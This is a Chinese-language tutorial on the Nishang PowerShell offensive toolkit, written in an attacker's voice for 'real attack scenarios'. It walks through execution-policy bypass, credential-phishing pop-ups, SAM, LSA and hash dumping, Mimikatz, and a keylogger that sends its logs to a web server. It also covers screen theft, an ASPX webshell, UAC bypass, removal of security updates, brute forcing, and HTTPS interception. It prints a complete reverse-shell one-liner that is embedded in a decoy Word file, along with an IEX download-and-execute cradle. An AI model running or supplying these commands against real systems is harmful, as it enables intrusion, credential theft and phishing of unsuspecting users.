nishanhg
下載地址:https://github.com/samratashok/nishing
1.簡介
nishang的使用是要在PowerShell 3.0以上的環境中才可以正常使用。也就是說win7下是有點小問題的。因為win7下自帶的環境是PowerShell 2.0
2.環境准備
查看powershell版本
get-host 或者 $PSVersionTable.PSVersion

Win Server 對應的 Powershell的版本如下:
Windows 2008 R2 - Version 2
Windows 2012 - Version 3
Windows 2012 R2 - Version 4
Windows 2016 - Version 5
這里我們使用win 10 進行測試:
1.修改執行策略
為防止惡意腳本的運行,powershell 有一個執行策略,默認情況下該執行策略被設置為Restricted受限,而Restricted是不允許任何腳本運行的。
在powershell 腳本無法執行時,可以使用下面的cmdlet命令確定當前的執行策略。
Get-ExecutionPolicy

Restricted: 腳本不能運行(默認設置)
RemoteSigned: 本地創建的腳本可以運行,但從網上下載的腳本不能運行(擁有數字簽名的除外)
AllSigned: 僅當腳本由受信任的發布者簽名時才能運行
Unrestricted: 允許所有的script腳本運行
通過以下cmdlet可以設置Powershell的執行策略
Set-ExecutionPolicy <policy nmae>

在真實的攻擊場景之下,我們可以通過以下幾種方式Bypass執行策略:
0. Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted //設置當前用戶的執行策略為Unrestricted,也算是去更改了當前的全局策略
1. powershell.exe -executionpolicy bypass -Windowstyle hidden -noninteractive -nologo -File //或是下面這種,-Windowstyle hidden 可以讓我們的執行無任何彈窗
2. PowerShell.exe -ExecutionPolicy Bypass -File
更多Bypass姿勢,可以參考Bypass執行策略的十五種方法:
2.加載腳本
在導入模塊的時候會有警告提示,這里其實已經導入成功了,警告無需理會。
Import-Module ./nishang.psm1 # 導入模塊
Get-Command -Module nishang #查看模塊列表

3.模塊及對應功能說明

4.模塊使用
4.1.信息收集(Gather)
- Check-VM #檢測當前機器是否為虛擬機
- Invoke-CerdentialsPhish #欺騙目標書記,輸入密碼
- Copy-VSS #利用Volume shadow Copy服務復制sam文件
- FireBuster FireListener #對內網掃描,打開本機監聽,然后遠程傳輸數據到FireListener
4.1.1 Check-VM
他是用於檢測當前的機器是否是一台已知的虛擬機的。它通過檢測已知的一些虛擬機的指紋信息(如:Hyper-V, VMWare, Virtual PC, Virtual Box,Xen,QEMU)來識別。

Get-Information
使用命令 Get-Information,可以列出本機的信息。
這個腳本可以獲取目標機器上大量的信息(用戶信息、FTP訪問,進程,計算機配置信息,安裝的軟件信息、開啟的windows服務信息、無線網絡和設備的信息,Hosts信息等)


Invoke-CredentialsPhish
這個腳本是用來欺騙用戶輸入賬號密碼信息的,執行后會彈出登錄框欺騙用戶輸入賬號密碼信息,
最流氓的是這個框是關不掉的,用戶只有輸入正確的賬號密碼這個框才會消失。

直到用戶輸入正確后這個框才會消失,然后我們就可以得到明文的管理員賬號密碼:

4.1.3 Copy-VSS
PS > Copy-VSS //將會直接把Sam文件保存在當前路徑下
PS > Copy-VSS -DestinationDir C:\temp //指定保存sam文件的路徑

FireBuster FireListener
FireBuster可以對內網進行掃描,本地開了監聽,然后它會把包遠程傳送給FireListener
FireListener -PortRange 130-150
FireBuster 192.168.190.136 130-150 -Verbose

該腳本作者的Github上面還提供了一個Python版的監聽端:
Get-LSASecret
該腳本可以獲取LSA信息,但是使用的前提當然是你已經成功提升了權限的情況下,通常和我們后面提權當中涉及到的Enable-DuplicateToken(幫助我們獲得System權限)聯合使用。
PS > Enable-DuplicateToken
PS > Get-LsaSecret
PS > Get-LsaSecret -RegistryKey KeyName //還可以指定鍵名
注:該模塊只支持在32位的powershell中運行。

powershell x86

Get-PassHashes
這個腳本在Administrator的權限下,可以dump出密碼哈希值。這個腳本來自於msf中powerdump,但做出了修改,使得我們不再需要System權限就可以dump了。
PS > Get-PassHashes -PSObjectFormat //可以使用-PSObjectFormat來格式化輸出結果

Get-WLAN-Keys
在Administrator的權限下,可以利用這個腳本來dump出WLAN文件的密鑰信息。實質上,這個腳本就是利用了netsh wlan show profile name=”” key=clear來獲取。
PS > Get-WLAN-Keys
Keylogger
Keylogger可以保存下用戶的鍵盤記錄。
PS > .Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis //-CheckURL參數會去檢查所給出的網頁之中是否包含 -MagicString后的字符串,如果存在的話就停止使用記錄。
PS > .Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis -exfil -ExfilOption WebServer -URL http://192.168.254.226/data/catch.php //將記錄指定發送給一個可以記錄Post請求的Web服務器
PS > .Keylogger.ps1 -persist //實現持久化記錄(重啟后依然進行記錄)
PS > .Keylogger.ps1 //直接以這種方式來運行,鍵盤記錄會保存在當前用戶的Temp目錄下key文件中
注:Keylogger模塊需要進入Gather目錄下才能執行

默認在Temp目錄下生成Key文件,這時我們可以使用nishang Utility中的Parse_Keys來解析

PS >Parse_Keys key.log parsed.txt
然后parsed.txt里面就是解析后的按鍵記錄了

Invoke-MimikatzWdigestDowngrade
Dump出Windows 8.1 and Server 2012的系統用戶密碼。 這里使用Server 2012進行測試。
PS >Invoke-MimikatzWDigestDowngrade
PS > Get-Job | Receive-Job
當執行完Invoke-MimikatzWDigestDowngrade計算機會自動鎖屏。

dump失敗

Get-PassHints
這個腳本可以從Windows獲得用戶的密碼的提示信息,需要有Administrator的權限來讀取SAM hive。
PS > Get-PassHints

屏幕竊取
Show-TargetScreen
使用MJPEG傳輸目標機器的遠程桌面的實時畫面,在本機我們可以使用NC或者Powercat來進行監聽。在本地使用支持MJPEG的瀏覽器(如:Firefox)訪問本機對應監聽端口,即可在瀏覽器上面看到遠端傳輸回來的實時畫面。
目標機器:Show-TargetScreen -Reverse -IPAddress 192.168.190.133 -Port 1521
攻擊機:netcat -nlvp 1521 | netcat -nlvp 9999

這里能夠接收到源源不斷的MJPEG視頻流

正向連接竊取屏幕
靶機執行:Show-TargetScreen -Bind -Port 1521
攻擊機執行:netcat -nv 192.168.190.147 1521 | netcat -lnvp 9999
之后同樣訪問本機的9999端口,就能正常訪問目標機器的桌面的實時畫面了。
Invoke-Mimikatz
Invoke-Mimikatz -DumpCerts //Dump出本機的憑證信息
Invoke-Mimikatz -DumpCreds -ComputerName @("computer1", "computer2") //Dump出遠程兩台計算機的憑證信息
Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1" //在遠程一台機器上運行Mimikatz並執行"privilege::debug exit"

1.域相關腳本
Get-Unconstrained
查找域內開啟了Kerberos Unconstrained Delegation的機器。
PS > Get-Unconstrained //返回開啟的計算機名
PS > Get-Unconstrained -Details //返回更詳細的信息
關於”通過Kerberos Unconstrained Delegation獲取到域管理員”:
2.Antak Webshell
存放於Antak-WebShell目錄下,就是一個ASPX的大馬,但是命令行是PowerShell,比單純的cmd強大很多。功能齊全,可以實現編碼、執行腳本,上傳、下載文件等等。
- 上傳Webshell后把它當成一個正常的Powershell執行窗口來使用
- 上傳和下載文件,只需要填寫好對應路徑點擊上傳、下載按鈕即可
關於Antak Webshell的更多介紹,請參考:

Username:Disclaimer
Password:ForLegitUseOnly

web界面的powershell窗口界面


4.生成木馬
nishang中包含各種木馬腳本,可以用來感染各種文件,如hta、word等,用於執行powershell腳本進行隱蔽攻擊。

各個腳本的使用方法基本類似,
首先設置監聽 nc -nvlp 1521
接着制作word文件,打開nishang\Shells目錄下的 Invoke-PowerShellTcpOneLine.ps1文件,
修改遠程連接的地址,復制代碼:

$client = New-Object System.Net.Sockets.TCPClient('192.168.190.133',1521);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
進入powershell命令行下執行如下代碼:
Invoke-Encode -DataToEncode '你的代碼' -IsString -PostScript
Invoke-Encode -DataToEncode '$client = New-Object System.Net.Sockets.TCPClient('192.168.190.133',1521);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' -IsString -PostScript
執行完成之后會在當前目錄下生成兩個文件。一個是encoded.txt 另一個是encodedcommand.txt。
之后執行Out-Word -PayloadScript .encodedcommand.txt
就可以在我們當前文件夾下生成一個名為Salary_Details.doc的doc文件。之后使用nc監聽就好
說完了操作,回過頭來看看命令行參數
-Payload 后面直接加payload,但是注意引號的閉合
-PayloadURL 傳入遠程的payload進行生成
-PayloadScript 指定本地的腳本進行生成
-Arguments 之后加要執行的函數。(payload之中有的函數)
-OutputFile 輸出的文件名
-WordFileDir 輸出的目錄地址
-Recurse 在WordFileDir中遞歸尋找Word文件
-RemoveDocx 創建完成后刪除掉原始的文件
5.權限提升
Enable-DuplicateToken
這個腳本可以幫助我們在已經獲得了一定權限的情況下,使我們提升到System權限。
PS > Enable-DuplicateToken
具體的相關介紹可以查閱:
Remove-Update
這個腳本可以幫助我們移除系統所有的更新,或所有安全更新,以及指定編號的更新。
執行方式:
- PS > Remove-Update All //移除目標機器上的所有更新
- PS > Remove-Update Security //移除目標機器上所有安全相關更新
- PS > Remove-Update KB2761226 //移除指定編號的更新

Invoke-PsUACme
Invoke-PsUACme使用了來自於UACME項目的DLL來Bypass UAC。

上表給出了各種UAC繞過的方法,我們可以在Invoke-PsUACme中指定相應方法執行。
執行方式:
- PS > Invoke-PsUACme -Verbose //使用Sysprep方法和默認的Payload執行
- PS > Invoke-PsUACme -method oobe -Verbose //使用oobe方法和默認的Payload執行
- PS > Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e YourEncodedPayload" //使用-Payload參數可以自行指定要執行的Payload
除開以上而外,我們還可以使用-PayloadPath參數來指定Payload的路徑,默認情況下Payload會在C:WindowsTempcmd.bat結束。還可以使用-CustomDLL64(64位)或-CustomDLL32(32位)參數來自定義一個DLL文件。
關於Invoke-PsUACme模塊的具體使用可以參考幫助信息
Get-Help Invoke-PsUACme -Full


6.掃描
Invoke-BruteForce
這個腳本可以對SQL Server、域控制器、Web以及FTP進行口令的爆破
可以使用 Get-Help Invoke-PortScan -full 查看幫助信息


相關鏈接:
http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/02/use-powershell-for-network-host-and-port-discovery-sweeps.aspx
https://github.com/samratashok/nishang
1.端口掃描
Invoke-PortScan
利用這個腳本我們可以在目標機器上對內網進行端口掃描
PS >Invoke-PortScan -StartAddress 192.168.190.1 -EndAddress 192.168.190.254 -ResolveHost -ScanPort -Port 80
主要的參數:
- StartAddress 掃描范圍開始的地址
- EndAddress 掃描范圍結束的地址
- ScanPort 進行端口掃描
- Port 指定掃描端口(默認掃描端口:21,22,23,53,69,71,80,98,110,139,111, 3389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,6868,7777,7878,8080,1521,3306,3389,5801,5900,5555,5901)
- TimeOut 設置超時時間

2.弱口令爆破
- 爆破域控制器
PS > Invoke-BruteForce -ComputerName targetdomain.com -UserList C:\users.txt -PasswordList C:\wordlist.txt -Service ActiveDirectory -StopOnSuccess -Verbose
- 爆破SQL Server
PS > Invoke-BruteForce -ComputerName SQLServ01 -UserList C:\users.txt -PasswordList C:\wordlist.txt -Service SQL -Verbose
- 爆破server.txt中所有servers的SQL Server
PS > cat C:\servers.txt | Invoke-BruteForce -UserList C:\users.txt -PasswordList C:\wordlist.txt -Service SQL -Verbose
主要的參數:
- ComputerName 用於指定對應服務的計算機名
- UserList 用戶名字典
- PasswordList 密碼字典
- Service 服務類型(注意默認為:SQL)
- StopOnSuccess 成功找到一個后就停止執行
7.中間人嗅探
Invoke-Interceptor
這個腳本可以通過建立一個代理服務器的方式來攔截HTTPS的請求,並將這些請求記錄下來
PS >Invoke-Interceptor -ProxyServer 192.168.190.133 -ProxyPort 3128 //這條命令將默認在8081端口監聽並把請求發送給上游代理的3128端口
可以通過ListenPort來修改我們目標機器上的監聽端口(默認8081端口)
我們在目標機器上執行:Invoke-Interceptor -ProxyServer 192.168.190.133 -ProxyPort 9999
監聽機器上執行:netcat -lvvp 9999
接收到了來自目標機的請求數據
並且這個腳本會在目標機的TEMP目錄下生成interceptor.log的文件來記錄請求數據
反彈
TCP的shell
正向鏈接:
目標:PowerShell下執行:Invoke-PowerShellTcp -Bind -Port 1521

攻擊機:NC下執行:nc -nv 192.168.190.147 1521

反向鏈接:
目標:在PowerShell下執行:Invoke-PowerShellTcp -Reverse -IPAddress 192.168.190.133 -Port 1433

攻擊機:nc -lvp 1433

UDP的shell
正向鏈接:
目標:Invoke-PowerShellUdp -Bind -Port 1521
攻擊機:nc -nv 192.168.190.147 1521
反向鏈接:
目標:在PowerShell下執行:Invoke-PowerShellTcp -Reverse -IPAddress 192.168.190.133 -Port 1433
攻擊機:nc -lvp 1433
HTTP/HTTPS的shell
HTTP:Invoke-PoshRatHttp -IPAddress 192.168.190.147 -Port 1521
HTTPS:Invoke-PoshRatHttps -IPAddress 192.168.12.147 -Port 1521
運行完命令會生成一條powershell命令,將該命令在目標機器cmd下運行本機即可獲得shell

powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-
Object Net.WebClient).DownloadString('http://192.168.190.147:1521/connect'))

目標機器運行完上述命令cmd會自動關閉,同時攻擊機獲得shell

參考